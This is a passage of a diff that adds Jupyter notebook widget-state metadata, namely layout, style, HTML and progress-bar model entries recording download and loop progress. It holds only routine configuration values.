"6f520ae078104d70945b5d42ded1a75a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "6f5b06b458d7482ba9685013cad5bfa7": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6fea93ee309c49be85992b1a18756101": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_6168a5fc0aeb44cfab1ca7753ecedced", + "placeholder": "​", + "style": "IPY_MODEL_aabeb052d7644bdcab945fdd5acf3cd7", + "value": " 617/617 [00:00<00:00, 8.86kB/s]" + } + }, + "721121db2dc54b14aec771d3c6cdd0fd": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "72effdc24eb84648b6838729c11fed72": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "7342611c130c4e3da540d7ae0ac95b52": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "740417603bd94bf698fdba5b374d7c3a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "75327980774b4419a9ec50f97a0c1d75": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "76732cd3aa5745058c70bb1aa44b1667": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_1494c31d3d114a13a3ebbe85df2316ba", + "placeholder": "​", + "style": "IPY_MODEL_9604b8f7a8ef4fa6b488ee1892e138d2", + "value": "100%" + } + }, + "768863d6e7e747709c4413764e7e7093": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "78684c2b2b05406ba992fe197c947bcc": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "792bda382a844c8a9bd9c9de789b44ac": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_1bbd2bbca0c04df982278b7c24c8c320", + "placeholder": "​", + "style": "IPY_MODEL_ee190ee62fb24dacb96d9b57e562c3b9", + "value": "100%" + } + }, + "79b4c9681b0d496ab86f77b6b4902ad6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "7adf45fac6804cbcbbe5d7c6cbdfd878": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "7af9fef14d3a4464aa16232f9d2cf94a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7bcb49396cf84ea6878d5ceddd480326": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7be8f4522cdc41f08c69b4a36520eb5a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7cfb6d760505428e9ffc07fe0fbca962": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7d941358dd1b4298bf1bf803b625f764": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "7dafba4f66a245659587c06edbffcf51": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ee87d3500d5a483b8a03b0c499392928", + "placeholder": "​", + "style": "IPY_MODEL_5a4843d7d25545dea9b6e53cb091321b", + "value": " 1.06M/1.06M [00:00<00:00, 6.40MB/s]" + } + }, + "7e4e6d45329a415cba65daa185369ad6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "7ede80a1f6544f2a8dfd631cb6d4eaca": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7f58916aaee04e5b89978d0111acf83d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "80e6d8758fe646e2a43d45e31d157b26": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "811695ab3aef4a368d2949af43b5f589": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_8af370239d6f45f48cd1f6befdbd9211", + "placeholder": "​", + "style": "IPY_MODEL_247e38c4011445f1adb3a832ddb53e2e", + "value": " 806/806 [00:00<00:00, 15.4kB/s]" + } + }, + "8214d94c9de5436a9ed42367af453491": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "84df3286d6044ab5aa6e8cb6c8d1b813": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_39a24d7b46f2428597c345b1d0ac8680", + "max": 50, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_f48ce6b6925b4b058f8679d73c039ac8", + "value": 50 + } + }, + "851980277e5e486a9962a2e7607be100": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_0220a92b3977434dab97c2329e9f5013", + "placeholder": "​", + "style": "IPY_MODEL_c65c5e6845254d47b6b0370b306b9eef", + "value": " 100/100 [00:27<00:00, 3.78it/s]" + } + }, + "865a15f101944359bbf30226e4cc1c90": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_5a00f85a6e9e44fcaa25dd0d982f2d0f", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_14a49cf00e9744dc8f2ac8ec3f19c90c", + "value": 20 + } + }, + "86c728930faa41bcad11875ca74af210": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "876c7d9ec56145338bb7b960b52bddd0": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8779a1cb87f6461a9a152ece606fa948": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_1974a1b14cd74807b872ad12380d0fe3", + "placeholder": "​", + "style": "IPY_MODEL_990b53f96b66496bb27edb5c1ea012bc", + "value": " 569/569 [00:00<00:00, 5.99kB/s]" + } + }, + "8811223ffe8547e99b837842150396f4": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "881d8ed91e394981b6320122489fe8bc": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "8af370239d6f45f48cd1f6befdbd9211": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8b08803f05bb47a1b83ebeff76e7caf7": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8b41d5c904a942a0bcee642499015089": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7cfb6d760505428e9ffc07fe0fbca962", + "placeholder": "​", + "style": "IPY_MODEL_a66a0a813bc24011a91f56778e88244e", + "value": "100%" + } + }, + "8babbe3e6d994cbeaa63e70192e858a4": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8bb4488a1c1c4defafb072afa695918f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8c01f8b4191048c5b596bb5da0c73d2f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "8c8b4b87df9242318f1ceaf5fc00b216": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": 